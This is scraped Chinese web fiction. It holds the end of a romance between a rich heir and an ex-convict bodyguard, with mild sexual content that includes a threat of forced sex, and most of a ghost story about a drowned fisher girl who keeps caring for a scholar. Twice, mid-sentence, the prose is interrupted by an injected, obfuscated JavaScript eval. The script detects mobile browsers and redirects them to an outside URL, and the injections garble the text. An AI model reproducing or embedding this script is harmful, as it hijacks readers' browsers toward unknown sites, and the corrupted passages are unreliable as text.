对面很嘈杂,说话的声音透着酒后的兴奋。 “什么事?” 李怀捏了捏眉心,这人是江海,声音带着嚣张。 “没事儿,就想请大公子喝一杯顺便帮咱兄弟买个单,怎么样?没打扰大公子休息吧?” “好,地址发过来。” 李怀看着落地窗上映出的自己,暗淡的光线中,脸色很差。 “爽快,那兄弟就等着了!” 挂了电话,江海一脚踩在玻璃茶几上,手上拿着瓶啤酒就吼。 “喝着!” 一群头发五颜六色的小青年,开口闭口的喊着‘大哥’,吼的吼,闹的闹,啤酒一箱箱跟批发似得送进包间。 已经十点了多了,街上车不多,李怀用了半个来小时就到了江海在的KTV。停了车,直接上电梯到了江海所在的楼层。 “打架了!” 一声女人的尖叫让李怀皱眉,叫骂声,砸东西的声音从前方传来,正是江海说的包厢。李怀在走廊里停下,转身就想离开。 “我曹尼玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353472|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,弄死你!” 李怀停下步子,这个声音是江海的。刚出狱就惹麻烦?叹口气,李怀不得不转回身往包厢走。 包厢里很暗,闪烁的灯时明时暗,什么都看不清。 什么玩意儿!李怀狠狠皱眉,走进去一把把墙上的开关全部按下去,瞬间一片明亮。包厢挺大,足足有二十几个人都愣了愣,一秒后又继续了。 江海拿着个凳子腿正在揍一个光头,李怀考虑着怎么才能让这群疯狗停下来。 “滚你妈!” 李怀还没思考出办法,就看道一个黄毛的混混拿着个酒瓶向江海砸去,还是冲着头。 “操!” 李怀来不及多想,两步跨过去对着小混混腰上就是一脚。人头马的空酒瓶,这一下下去不死也得半条命。不等黄毛反应过来,李怀又接着连踢两脚,都是要害。黄毛被踢到地上,半天动都没动一下。李怀是跆拳道黑带,不是那种花拳绣腿练着玩的,而是李家专门找人来教的,实打实的从小练出来的。 “可以啊。” 江海反应过来,回身正好看到黄毛被李怀一脚踢出去。 “你也不错,才出来就想回去,挺念旧啊。” 李怀冷着脸,捡起一个酒瓶对着天花板上的水晶吊灯砸了过去。明亮的吊灯受到重击,一阵火花伴着玻璃落下来。 “操!过来。” 江海没想到这人看着挺斯文,一出手就是不要命,水晶吊灯要掉下来就直接砸两人头上了。伸手拉着李怀往旁边扑去,躲过吊灯落下来的火花和水晶残渣。 “不想进去的,现在就滚!” 李怀从地上站起来,在被砸得闪烁不停的灯光里,看着有点骇人,特别是那灯还是这人砸的。 “走!你们等着。” 十几个人看了看江海又看了看李怀,摸不清对方底细,说了句经典台词就忿忿不平的离开了。 “把你们经理叫来。” 包厢的灯终于不闪了,只是那盏吊灯是废了。李怀找了个还算干净的少发坐着,对着蹲在墙角的几个公主淡淡说了一句,几人不敢看李怀,一溜烟儿都跑了出去。 “你们也走吧。” 李怀坐着,从西装外套里掏出包烟,点了一支。 “你们先滚!” 江海觉得自己不能就这么走,虽然对方是金主,但好歹帮自己打了架,不能不讲义气。 “大哥……” “滚!看着烦,赶紧的。” 小弟们还在犹豫,被江海一吼,不得不纷纷离开。 “谢谢啊,身手不错啊。” 江海在李怀旁边坐下,毫不吝惜地赞赏。 “两个你。” 李怀斜着眼看了看江海,脸上没什么表情。 “呵,操,挺狂啊。” 江海扯着嘴,被逗乐了,随即又收回笑,伸手摸了摸脸。 “老子……居然敢动老子脸。” 站起身,走到墙边,就着光滑的玻璃墙面看着自己的脸。 李怀身体往后靠了靠,看着江海对着墙面左转转右转转,随后又把上衣两把脱掉,露出结实的上半身。 “刚出来就挂彩,这是开门红啊!” 江海胸口被割了条不长不短的口子,血已经凝固了。李怀眼神暗了暗,站起身走到江海旁边道,“我缺个保镖,有没有兴趣?月薪三万,五险一金。” “你还需要人保护?” 江海目光透过镜面揶揄的看着李怀。 “明枪易躲,暗箭难防。而且你没工作,也不好找……” 不好找的原因当然是心知肚明的。 “条件这么好,干嘛找我啊?” 江海胳膊上也有一条口子,在靠近肩胛骨的位置,李怀伸手摸了摸。 “丝……爪子拿开!” “因为你长得不错,身材也不错。” 李怀微微笑着,这一整天,江海头次见他笑,对着墙壁看了他一会儿,也跟着笑了笑。 “你……长得也不错,身材嘛隔着衣服……” “回去脱了给你看。” 李怀突然凑近,在江海耳边暧昧的说了一句,一只手顺便在他腰上摸了一把。 “操!好啊……” 江海扯着嘴角,往后靠了靠,后背在李怀胸口轻轻蹭了蹭。 “您好,麻烦算算多少钱?” 李怀突然转身,一脸冷淡的看着走进包厢的KTV经理。 “原来是李大公子啊,是不是有人找您麻烦啊,要不我找点人……” “不用,已经走了。” 李怀从钱包抽出张卡,两根手指夹着递给油腻的中年经理。 “明天会有人来找你拿。” 说完转头看了看江海,道,“走吧。” 随即大步向包厢外走去。 江海看着双手接卡的经理,摇了摇头,他妈的资本家就是好啊。 “你好,我叫李怀。” 走进停车场,李怀很自然的伸手搂着江海的肩膀,本来他就更高,一点违和感都没有。 “你好,我叫江海,月薪三万五险一金,顺便……手拿开。” 江海肩膀一抖,把李怀的手拍开。 “哦,可以操吗?” 江海突然觉得自己这么多年社会白混了,这白天还一本正经的禽兽,现在居然一本正经的开始耍流氓! “***……” 江海咬了咬牙把那个代表母亲的字吞回去。 “我在上面,你要乖一点,不然……强上。” 李怀笑里带着邪气,江海被他盯着后背有点发凉。 “卖身可不只这么点钱。” 这人的长相确实很对自己胃口,斯斯文文,白白净净,不知道是不是真的憋太久,江海心里很痒。 “行,价钱随便开,要喜欢人也送你。” “滚!正经点,说工作呢。” 江海再次拍开李怀伸过来的手臂,对自己身为大哥的尊严有点无颜面对。 “工作和生活本来就是一体的,你难道……不想跟我……?” 停车场是户外的,晚上灯光很暗,大概是为了省电。黑色的轿车旁,李怀伸手一拉,把江海拉到自己跟前,后背靠着车,低头就吻了上去。 “操!你……” 李怀看着挺瘦,手劲儿挺大,江海被他扣着腰一时躲不开。 “憋得挺久啊。” 一吻结束,李怀看着江海,手很自然的往下伸。 “停车场呢,放手。” 江海被摸得一阵颤抖,腿有点发软。 “那……去你那儿?” 李怀没停手,另一只手狠狠扣着江海的腰,让他完全贴在自己身上。 “算你狠,走啊。” 江海喘着气,伸手压下李怀的脑袋就凑了上去,唇舌交缠。 ………… 从此霸道总裁和硬汉保镖,□□生活到永远! 39. 予鱼 (上) 名都有四景。 一曰春江花月夜;二曰槐林夏飘雪;三曰秋山枫如火;四曰碧波冬生烟。 春夏秋冬,各展其长,各自绝色。 周鱼娘划着船,穿梭在名都家家户户之间,向不愿在夏日灼阳中出门的人兜售自己早间捕的河鱼。 “鱼喽,新鲜上岸的鱼喽……” 船篙划破略泛青绿的河水,叫喊声带着江南姑娘特有的柔和。 “周鱼娘,大热的天还卖鱼哇?” 岸边有洗菜的妇人,老远招呼周鱼娘。 “还剩几尾,卖无就回啦。” 周鱼娘,年约二八,住在名都城外的周家渔村。常年打鱼卖鱼的,沿河人家都跟她熟络了。 “剩几尾啦?我家来客,给我哇?” “哎,陆尾啦,活着,你要得完啦?” 周鱼娘撑着船靠近岸边,将搭在木盆上的芭蕉叶揭开,让那妇人看。 “要不完也无事,我还往前划划。” 取下头上的帽子,周鱼娘像个男人一样拉起脖子上挂的棉布巾子擦着脸上的汗水。常年风吹日晒的脸上黑黝黝的,倒是没了江南女人的白皙,不过笑起来露出一口白牙显得憨厚老实。 “陆尾是多了,不过养到明天煲汤也行,大小都合适,给我罢。” “哎,那好,多谢嫂子了。” “放我木桶里,别用草串,别死了。” 妇人将洗菜的小木桶递了过去,“多少钱哇?” “大的两文,小的一文,三大三小九文钱,嫂子全买了就算八文可好?” “行,你个实在鱼娘,八文就八文。” 小河上来来往往的渔船不少,燥热的夏季,一般一尾小鱼都不会少于两文,也就周鱼娘家的便宜一些。 “你家里……荀少爷他身体还好哇?” 给了钱,妇人犹豫了一下还是问了。 “好好,最近喝些鱼汤了,人看着也精神些。” “荀少爷是个文人,读那些书怎就还是想不开?唉,那乡试也是,不就多写几个字没录取就算了,怎么还受了刑罚?家里又……哎哟,瞧我多话的,家里有客我先回了。” “欸,谢谢嫂子了。” 妇人没说完的,周鱼娘心里清楚。荀少爷乡试越幅受了刑罚,被打得两条腿都快废了。家里老父母为了把他赎回花了不少家产,可是回到家,兄长又嫌弃他是个废人,天天闹天天吵。老父母被活活气死不说,这尸骨未寒,那当兄长的就把荀少爷给扔了出来。 若不是荀少爷少年时帮过周鱼娘一家,周鱼娘感恩在心,不顾流言收留了他,不然怕是早就不在人世了。 “少爷,我回来啦,今天剩了鱼,我给你熬鱼汤哇。” 周鱼娘进了家门,将一尾活鱼放进厨房,又拿着油纸包进了里间。 周家世代捕鱼,也是穷苦人家。正房就一间,两头两间斜棚,一间是灶房,一间是茅房。 “您先吃两口馒头,一会儿鱼汤就好。” 掀开草帘,周鱼娘笑得朴实,将油纸包里的两个馒头放到躺在床上的荀松身边。 “不吃。” 荀松无神的望着已经泛黑的帐顶,既没看馒头一眼也没看周鱼娘。 “少爷,您还是吃一些吧。我今天回来迟了,马上就去……” “拿走,不吃,滚!” 也不知道是哪个字刺激到了荀松,他手一伸把雪白的馒头都扫到了地上,馒头滚了几圈沾了不少泥。 “好好,您别生气,不吃不吃。” 周鱼娘慌乱的捡起馒头,心头委屈,可脸上还是挤出笑来,小心翼翼从房里退了出去。 活鱼炖汤,雪白鲜美,在漆黑的铁锅里翻滚着。 周鱼娘黝黑的脸在蒸腾的白雾间熏出一层浅红。 将用竹篾蒸格蒸热的馒头拿出锅,周鱼娘又用大碗盛了满满一碗鱼汤,将鱼肉肥嫩的细细剥好放进汤碗里,用有些裂痕的木托盘端着进了里屋。 “少爷,鱼汤炖好了,馒头也热过了。您放心,外面的皮我都撕干净了,您吃一点吧。” 周鱼娘这次没等荀松说话,就退了出去。 厨房的碗里放着煮完鱼汤的鱼骨头和半碗汤,还有一些沾了些灰尘的馒头皮。周鱼娘慢慢嚼完鱼骨头,馒头皮和着鱼汤一起吃了。 “少爷,我出门啦,晚上我早些回来给你做饭。” 周鱼娘站在草帘前,没进屋,说话前清了清喉咙,低低的向屋里说。 荀松受了刑罚,双腿其实没有完全残了,精神好的时候扶着拐杖也是能走上一段的。正如大夫说的,他是郁结在心所以一直也就这么躺着,不肯好起来。 木桌上的鱼汤在房间里散发着诱人的香味,荀松在床上躺了半晌,又听见周鱼娘出门了,忍不住腹中饥饿慢慢地下了床。 周鱼娘长得不怎么入得了荀松的眼,不过也许因为是渔家女,做鱼的手法倒是不错的。洁白浓郁的鱼汤上面还飘着几粒小葱,馒头也如她所说将皮撕得干干净净没有半点污渍。 两个馒头荀松吃了一个半,鱼汤喝了大半碗,可鱼肉是没动的。河鱼多刺,荀松从来没有耐心细细嚼出那些小刺来。 吃完午饭,荀松夹着拐杖缓缓的往外走,可还没到门口就被不平的地面摔了一跤。 “废物!废物,苟活世上所为何?所为何?” 荀松坐在地上,狠狠地拍着自己的腿,良久,又无奈的趴在地上捡起被自己丢在一边的拐杖,缓缓站起来回到床上躺着。 “谢谢您了大夫,欠下的钱我明天卖了鱼一定给您送来。” 周鱼娘怀里抱着麻绳系好的中药包,不断向留着山羊胡子的大夫鞠躬。 “走吧走吧……”山羊胡子大夫不耐烦的挥手,“下次再带不够钱就别来捡药了,我们这不是善房,明儿赶紧把剩下的补上。” “是是是,谢谢大夫,我明儿一定把钱给您送来。” 周鱼娘赔着笑出了门。 “啥值当的?一个废物跟供祖宗似的,乡下丫头就是见不得细皮嫩肉的读书郎……” 山羊胡子毫不掩饰自己的鄙夷,声音大得门口来往的人都听得见。 周鱼娘红着脸,快步走着。 周鱼娘是乡下丫头,可终究也是个二八年纪要面皮的大姑娘,被人这么念心里自然是难受的。回到渔船,周鱼娘拿起船篙就将船撑离了岸。一直撑到自己平时打鱼的河里,这才放下船篙用粗布的衣袖擦着脸上的泪。 “鱼娘,咱们虽然穷,可不能做那忘恩负义的人。荀少爷以前救过阿爹的命,将来有机会咱们也是要好好报答的。” 阿爹这话是临终前说的。周鱼娘自小没有阿娘,据说是穷怕了跟个过路的货郎跑了,从此也就没有音讯。阿爹好不容易将周鱼娘拉扯大了,可一场风寒便要了他的命。穷人家哪里看得起病?这要真生了病,也就只能靠命扛,可惜阿爹没有熬过来,留下周鱼娘一个姑娘孤零零的活着。 原本以为像荀家那样的大户人家加上荀少爷又是名都城里出了名的青年才俊,必定会考取功名平步青云的。谁知道世事难料,荀少爷乡试出了事,后来又被家里扔了出来。一时间十里八乡都晓得,周鱼娘是个忠实的性子,哪里能坐视不管呢? 将少爷接回家的时候,乡里乡亲说了不少闲话,少爷也一直不肯给周鱼娘好脸色。可周鱼娘虽然没念过书,也知道阿爹的遗愿是要去做的,不然将来身后也是没脸去见他老人家的。 本来就艰难的生活,现在还要养一个人,平时穿衣吃饭不说,就这药钱却是周鱼娘肩上的重担。大夫没有救济穷人的心,自己也没有那厚脸皮去讨要,可少爷的腿不吃药哪里能好呢?一双腿可是关系着人一辈子的,若是永远如此,将来可又如何是好? 周鱼娘的委屈随着眼泪流进了河里,心中也渐渐敞亮。 好在荀少爷的情况好些了,能吃东西,偶尔还能下地走走,这就是有希望了。只要能好起来,吃些苦倒也值了。荀少爷是读书人,就算不能再考取功名,将来做个教授先生或者给有钱人家做个账房也都是好的,总比跟自己一起过这苦日子强。 何况,等荀少爷好了,自己也就可以寻户人家了…… 大姑娘家,不想嫁人那是骗人的,邻居的姑嫂们也一直劝周鱼娘的,只要她点头虽说多好的人家找不到,可同样的渔家人还是寻得到的。 “阿爹,我会把少爷照顾好的。” 周鱼娘擦干了眼泪,将中药用干鱼篓装了绑在船篷里,便开始收中午布下的网。 (中) 五月骄阳,六月似火,七月立秋暑未消。 周鱼娘日日打鱼供养着荀松,却也让他渐渐有了些活力。 “少爷,今日您若想晒太阳须早些,午间怕是有雨落。” 周鱼娘前一天将邻居周二嫂子送的粗面细细筛了一遍,早间烙了饼又煮了酸菜鱼汤放在里屋,出门前不放心的朝屋里嘱咐。 “晓得,既是下雨早些回。” 外面天刚刚大亮,荀松已经洗过脸,正坐在桌前慢慢吃着饼喝着汤。 “哎,桌上的药您记得喝,少爷那我出门了。” “走罢。” 门外有提筐的声音,渐渐远去。 荀松在周家也住了小半年,虽说腿脚还是不灵便,这心境倒是平和了一些。 穷苦如周鱼娘者尚且如此执着,自己这……又是何必自弃呢?只是心中的苦仍是无法可解。 “鱼娘,周鱼娘可在家哇?” 屋外有年轻妇人的声音传进来,荀松放下手里的饼,又喝了口汤将口中食物都咽了下去,才开口道: “周鱼娘出门去了,您是?” “哦,荀少爷啊,我是隔壁周二家的,我给鱼娘送些盐来。她不在家,我就放在灶台上了。” “多谢嫂子。” 荀松礼貌的回话。 “顺带的手,少爷您记得告诉鱼娘一声。” 脚步声远去,荀松继续吃饼。自古男女有别,这隔壁的妇人荀松是没见过面的,只是声音有些熟悉。 早饭后,荀松依着周鱼娘的话,早早的坐到门前石头上,趁着刚升起的太阳晒一晒。 四季变换,刹那芳华。 前几天还只是绿得浓郁的槐树林今日竟已开出一片雪白花穗。有槐花的清香在鼻尖流转,荀松望着洁白如雪的花海一时间愣了神。 远远的有叫骂声传来,还有孩童的哭声。荀松皱眉的往那边望去,渔村虽然在槐林边上,却实在破败不堪。其中乡野妇人打骂孩子也是每日都有的,吵得人心烦。荀松见那哭喊叫骂声没有要停下的迹象,无奈起身慢慢挪回了里屋。 七月的天也是暴躁无常的,那妇人打骂孩子的声音刚完,天上又响起了闷雷,不过一刻钟瓢泼的大雨便重重落了下来。 本来这种暴雨来得快去的也快的,可今日这雨不知是否龙王发了怒,一下就一直到天黑也没有要停歇的意思。 雷雨之声不歇,荀松躺在床上睡不着又着实难受。不得不起身拿了墙角的陶罐将屋里雨漏得凶的地方接上,免得雨还没停,这屋里已经被水淹了。 茅草盖的房顶每逢雨季便是外面大雨,屋里小雨。荀松是锦衣玉食长大的少爷,自然是没吃过这等苦。往日若是大雨,周鱼娘是立刻就回来料理这些的,可今日眼见天黑了,她却一直未回,荀松听着这满屋的滴水声,心里埋怨起来。 天黑了,外面有叫喊声,隔得太远加上雨声实是听不清楚。 荀松在里屋点了油灯,豆大的灯火将他的身影长长映在土墙上。在屋里来来回回的挪动着步子,累了又坐下,左等右等也不见周鱼娘回来。荀松早间吃了后,便一直没再吃什么,这会儿已经饿得全身无力。 外面的雨声渐渐停了,荀松实在饿得难受,便掀开盖碗的斗笠,将早上剩下的冷饼子拿出来咬了一口。本来就是粗粝的粉,这会放了一天更是坚硬得像石头,荀松咬下一口只觉得口中就像进了泥沙一般难受。 “呸!” 将口里的饼吐了出来,荀松赌气的将饼扔在地上,忿忿然挪到床前,忍着饥饿和衣而眠。 “少爷,少爷……” 隐约间有喊声从屋外传来。 “少爷,今日大雨我顾着躲雨回来晚了。” 是周鱼娘的声音,荀松睁开眼,屋内一片漆黑,想是那油灯已经枯了。 “嗯。” 荀松心里不快,这会儿自然也没什么好语气。 “少爷,我已经煮好鱼汤在厨房,案桌上蒸了馒头,您先吃些吧。” 周鱼娘的声音始终在屋外,倒是没了往日的恭顺,似乎有些不耐烦。 “您的药也熬好了盛在灶上,我这还得跟村里的老人出去钓鳝鱼,您自己吃完早些睡罢。” 周鱼娘说完,便听见往常一样的扁担鱼筐声音远去。 荀松见外面半天没有了动静,心里火气更盛。没想到,救命之恩,也不过供养了几个月便没了耐心吗? 心中虽不忿,可奈何腹中饥饿,最后也只好起床摸索着去了厨房。 君子远庖厨者,想来也不过是不曾尝过饥饿难熬之苦罢了。腹中饥渴之时,什么君子风度也不过是虚伪矫情。 荀松这是第一次进厨房,里面已经燃上了油灯。有浓郁的鱼汤香满厨房地飘着。荀松也顾不得什么矜持,拿了汤碗便盛了。四个馒头一碗鱼汤,荀松对自己的食量也是惊讶,吃得撑了只得又在屋里来来回回地走了一会儿。 中药苦口,不过自从腿脚慢慢能走些了,荀松就愿意喝药了,只盼着有一天这双腿能彻底好起来。只是大夫早已说过不能恢复如初,如此又有些伤感。 吃好饭喝好药,荀松总算有了睡意。回了正屋,在难得的凉爽夜中熟睡过去。 这一觉睡得香甜,一直到第二日大天亮,荀松才悠悠醒来,心情也是一扫阴霾,甚是神清气爽。 远远有闻见狗吠之声,屋里却没有什么动静。荀松起床,屋里架子上已经放了盆清水,应是周鱼娘一早准备好的。 “周鱼娘,周鱼娘……我今日觉得精神甚好,近段时间腿脚也能走动了,一会儿我想出去转转……” 荀松洗了脸,慢慢挪动着走了出来,“周鱼娘,你可还在屋里?” 自从荀松住了正屋,周鱼娘便在厨房柴火堆上垫了草席,夜晚就睡在此处。 荀松掀开通往厨房的草帘子,发现里面根本没有人影,再看看土墙上木窗透进来的光亮,想来这周鱼娘是已经出去了。 “还真是个勤劳的姑娘。” 荀松的心也不是铁打的,虽说瞧不上周鱼娘这样的乡野丫头,这一直受人照顾,也是知道感恩的。 厨房案板上放着两个碗,都用翠绿的芭蕉叶盖着,还有带着酸味的鱼汤味儿飘着,荀松闻着也没再如往常般觉得鱼味腥了。 “已经煮好汤了?” 揭开木头的锅盖,里面果然是雪白的鱼汤,汤里还有几片酸菜叶。 “他日若我有了前途,定不会忘了姑娘之恩。” 吃完早饭,喝了苦药。荀松本想出门去稍微走走,可谁知出来才发现外面还下着小雨,屋檐之外一片泥泞,便回了屋。 也不知道这中药可是换了方子,荀松在屋里坐了会儿,便又打起瞌睡了。 (下) 淫雨霏霏,一层雨一层凉。 荀松最近总是睡不够似得,经常一觉到傍晚方醒,虽然睡得久,却也不觉疲乏。大概是身体确实好起来了,荀松心中高兴。 有声响从厨房传来,荀松慢慢坐了起来,捏着腿直到双腿渐渐不麻木了才下了床。 “周鱼娘,周鱼娘……你可是在做晚饭?” 屋里已经不怎么能看见东西,时间已经不早了。 “少爷,您醒了,晚饭马上就好,您且等等。” 周鱼娘的声音从草帘另一边传来,兴许是隔得远,有些清冷。 “无妨,周鱼娘,我最近觉得身体精神都好了些,你日日打鱼辛苦。你明日到城里的吴家书屋问问,他们最近可有什么抄写之事,拿回来我做些。” 这个想法荀松已经琢磨了半个月了,眼见秋日来,冬也就在跟前了。此处虽是江南之地,可冬季也是渔家的寒季,是无鱼好捞的。自己已是这般光景,可委曲求全些,也免得这周家鱼娘日日发愁。 “少爷是贵人……” “周鱼娘,此话以后不必说了,你且听我的。虽说替人抄写也赚不了几个钱,可眼看冬日近了,河水太过冰冷,咱们也不能总指望水上的收成不是?” “少爷……少爷既然如此想,鱼娘便进城去问问罢。只是这雨一直下着,来去怕是有些麻烦呢,少爷您多等几天罢。” “嗯,周鱼娘说得也是,等着雨小些了再去罢。拿到了活计,我抄快些便是,只是久不动手,倒有些忐忑……” 荀松将十根手指挨个揉捏着,捏完又活动起手腕来。木匠离不开木头,文人离不开书笔。这么久没摸笔墨,荀松有些兴奋,有些期盼。 “少爷,晚饭好了。我还要随大家去捞秋蟹,您吃完饭早些歇息。” 有锅碗的声音响过后,周鱼娘的声音已经到了屋外。 “你可要先吃些?天气转凉了,你们还要通夜劳作?” 荀松虽也是鱼乡之人,可着实没料到渔民如此辛苦,白日布网打鱼,到了秋时还要通夜捞秋蟹。 “少爷放心,半夜我们也就回来了,您早些休息,我这便出门了。” 周鱼娘声音清清冷冷,应是最近日夜操劳累着了。 “那你早些回来歇息。” 荀松嘱咐一句,却没得到回应,周鱼娘看来已经出门了。 “要早些拿到活计才好啊。” 江南不仅鱼米之乡,亦是书卷气息浓厚的区域。城里的书铺自然也是不少,也有不少贫寒子弟平时替人抄写的,既能增长见识也能免费读些好书,还能补贴一些家用,倒也并不是什么卑微的活计。 荀松盼着早日能摸上书笔,也能早些帮衬家用,便每日都要跟周鱼娘问上一句。周鱼娘也没不耐烦,就是因为这雨便一直拖着。转眼间,日子便已近七月过半,天也终于见晴了。 这日荀松醒得早,想要跟周鱼娘说几句话,顺便再提一提让她进城拿活计的事。可谁知周鱼娘已经出门了,荀松看着厨房里的食物,一时间心里有些不是滋味。 想起这样一个弱女子为自己起早贪黑的劳作,夏日烈阳,秋日凉雨,自己一个大男人却只能每日在屋里闲着。甚至起初之时还常对周鱼娘发火冷视,现在想来心中酸涩,实在后悔不已。 吃过早饭,屋外还是久雨泥泞,荀松本以为自己又会一觉睡到天黑,却不想今日没了睡意。在屋里来回走着,活动双腿,一直到午间外面有人声响起。 “荀少爷,请问荀二少爷可在?” 是一年轻男子的声音。 “在,请问来者何人?” 荀松奇怪,在这里住了几个月,还不曾有男子来找过自己。 “小人吴家书屋伙计小李,我家掌柜的命我送些抄书的活计来。” “哦?劳烦小哥了,快请进来吧。” 荀松刚刚坐下,此时又站了起来,往草帘方向慢慢挪步。 “好,荀少爷您稍等。” 小李进了屋,脸上明显一僵。这荀家二少爷乃是江南出了名的才子,自然也是城中各大书店的常客,只是去年还意气风发的人,没想到今日竟落到如此地步。 “劳烦劳烦。”荀松自是看清这小李眼中的震惊以及随后的轻慢,只是现在有事求人,自然也摆不出少爷脾气。 “无事,”小李在屋里看了一圈,眼中轻视更甚,只是表面上还是没敢太放肆。将手里的包袱放在屋里唯一的木桌上,小李朝荀松作了一揖。 “这包袱里便是抄书需要的笔墨纸砚和要抄写的书籍,荀少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353473|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷您抄好了便托隔壁的周二送到我们店里就好,工钱也会让他一并带回的。” “周二?” “对,想是这周二照顾荀少爷,这才跑到我们店里找掌柜要的活计。” 小李已经有些不耐烦,见荀少爷似乎还要再问,忙在他说话前道:“小人还需回城里,便先告辞了。” “如此多谢小哥了。” 荀松心里不喜这人,可面上还是周到送客。 “荀少爷腿脚不便,请留步。” 小李说完便掀开草帘走了出去。 “腿脚不便?” 荀松就看着自己歪歪斜斜的站相,无奈苦笑。 午间周鱼娘没有回来,荀松心中也不恼,自己到厨房拿了个冷馒头,就着灶台陶罐里还有些温热的水吃了。 磨墨铺纸提笔,闻着这种久违的书墨之气,荀松觉得惬意极了。原本怕笔力退步,还在木桌上细细写了一段,顺手了才开始在微微泛黄的纸上誊抄起来。 正放木窗也不大,照进屋里的光线有限,抄了一阵荀松又挪过去将草帘拉了起来。 如此到了晚间,竟抄了小半本书。周鱼娘今日也是天黑后才回来,站在屋外打了招呼便进了厨房。不多时,便有香气从厨房传来。 “少爷,晚饭好了,你且先吃着,别写太久伤神。” “好,我这便来。” 荀松已经习惯了在厨房吃饭,而且此刻木桌上堆了不少物件也着实挪不开位置。 “那您先吃着,我这便出门了。” 荀松刚刚起身,屋外周鱼娘便要出门了。 “周鱼娘,你吃过了?今日要不就别去了,天气也渐凉了。” “少爷,我揣了馒头呢,您吃着,我约好了长辈们,趁着秋蟹肥美多捞些。” 屋外响起扁担撞到鱼筐的声音,荀松想出去送送,可腿脚实在太慢。 “少爷,您吃完早些歇息。” 周鱼娘说完便没了声响。荀松突然想起,这天天听周鱼娘说忙碌,竟有大半月没看见过人了,不知这姑娘是不是又瘦了些,又黑了些呢? 荀松虽然腿脚不灵便,可这手上的功夫倒是没有退步,小李送来的书三天便抄好了。 这日午间周鱼娘又没在家,荀松想着让周二早些把书稿送过去能早些拿到报酬,便起身出了门。好不容易走到篱笆边上,实在腿上无力,便清了清喉咙向着周二家高声道, “周二哥,请问周二哥可在家?” 朗声喊了一阵,便见周二家里开了门。 “荀少爷啊,我当家的还没回,您啥事哇?” “周二嫂子,打扰了。我这将前几日的书抄好了,想劳烦周二哥帮忙送一送。” “好的呀,荀少爷您稍等,我就来拿。” 周二家和周鱼娘家隔了不过几丈远,远远看着周二嫂子脸色似乎不太好,说完话又回了趟屋这才过来。 “荀少爷,这都是您抄的?还是读书人厉害啦。” 周二嫂子脸上挂着牵强的笑,也不看荀松的脸,隔着篱笆接过了装书的包袱。 “有劳周二哥和嫂子了,本想让鱼娘送去,可她最近忙着捞秋蟹实在……” “你说什么?!” 周二嫂子猛然抬头,脸色苍白地退了一步,颤声道:“荀少爷,这个事可不好乱讲的呀,鱼……她虽说还没找到,可槐花没开过,不能提那些的呀。” 周二嫂子说完转身就要走。 “周二嫂子,你这是什么意思?” 荀松看着周二嫂子的神态,心里很不是滋味。 槐花开时不提鬼神,这是小城的旧俗,小到垂髻孩童大到鹤发老者都是铭记于心。这片槐林年年开花之时,这十里八乡都是要忌口的,周二嫂子这意思莫不是咒周鱼娘? “周二嫂子,鱼娘平日善良也不惹是非,您这样说话可是太毒了些。” “我……你不晓得?” 周二嫂子看荀松这神态,心中疑惑。 “荀少爷最近吃食可还好?” “这倒是多谢嫂子挂心,有鱼娘天天照料着,胃口好了许多,也能慢慢走路了。” “您……”周二嫂子看着荀松的站姿,虽然身体斜着,可看起来与正常人无二,而且他脸色红润,完全不像饿了肚子的人。何况…… “您说这几日……这半月也是她给你做饭照料你?” “自然是鱼娘。” 荀松皱起了眉,实在不知这周二嫂子怎么这么问? “天啦……” 谁知荀松刚答了话,周二嫂子就地就是一坐,手上包袱也扔到一边,双手拍着大腿就哭了出来。 “周二嫂子,你这是为何?” 荀松想去拉,可是隔着篱笆,而且男女授受不亲,一时间只得焦急询问。 “槐树林这是显灵了呀,我可怜的鱼娘啊……你走都走了,还想着报恩,这是个什么性子哟!” 周二嫂子一边抹泪,一边念着,乡野妇人本来声音就大,有正是午间各家归家之时,一时间不少人寻声过来。 “我这鱼娘妹子喂……周阿爹一句话你就把这落难少爷捡回来养着,不怕闲话就算了,这风里雨里的辛劳就是个汉子也是吃不了的苦啊。如今长了洪水遇了难,化作鬼也要照顾着这少爷。你这是菩萨的心肠,穷苦的命,可怜你到现在连尸身都寻不到啊……” 荀松原本焦急,可听着周二嫂子的话却是既心惊又无法接受。 “周二嫂子,你先莫哭,你把话说清楚,鱼娘到底发生了何事?你可说清楚,她每日给我做饭照顾于我,你可不能……” “死了,半月前河道里过洪水,鱼娘的船便翻了,连个尸身都没找着啊……荀少爷,少爷啊,鱼娘为了报您的恩,可真是犯了傻啊……” 周二嫂子哭得惊天动地,想来这村里也就她与周鱼娘感情最好,平常还送这送那,也就她可怜周鱼娘这傻姑娘。 “那……那每日为我做饭的……我听得明明白白,就是鱼娘的声音……” 荀松脸色惨白,看着聚过来的村民激动得几乎说不出话来。 “周二家的,槐花还没过呢,你可别提那些短命的,别给我们招灾啊。” “就是,这河里一年总死几回人,你们这样嚎可别惊了他们。” “荀少爷啊,你别是病糊涂了。那丫头半月前就……你可别胡乱说话。” “都闹什么!没事闲得?河上的汉子马上就要回来吃饭了,还不赶紧都回去?” 前面是不认识的妇人们聒噪,最后是一位老者的声音。老者吼完,妇人们都不出声了,各自匆匆离开,好像生怕沾了什么似的。 “荀少爷啊,这老话可有理,这鱼丫头半月前确实去了,当时河上岸上好多人看着的。你这病都稀里糊涂的怕是忘了时日,早些回去休息吧。” 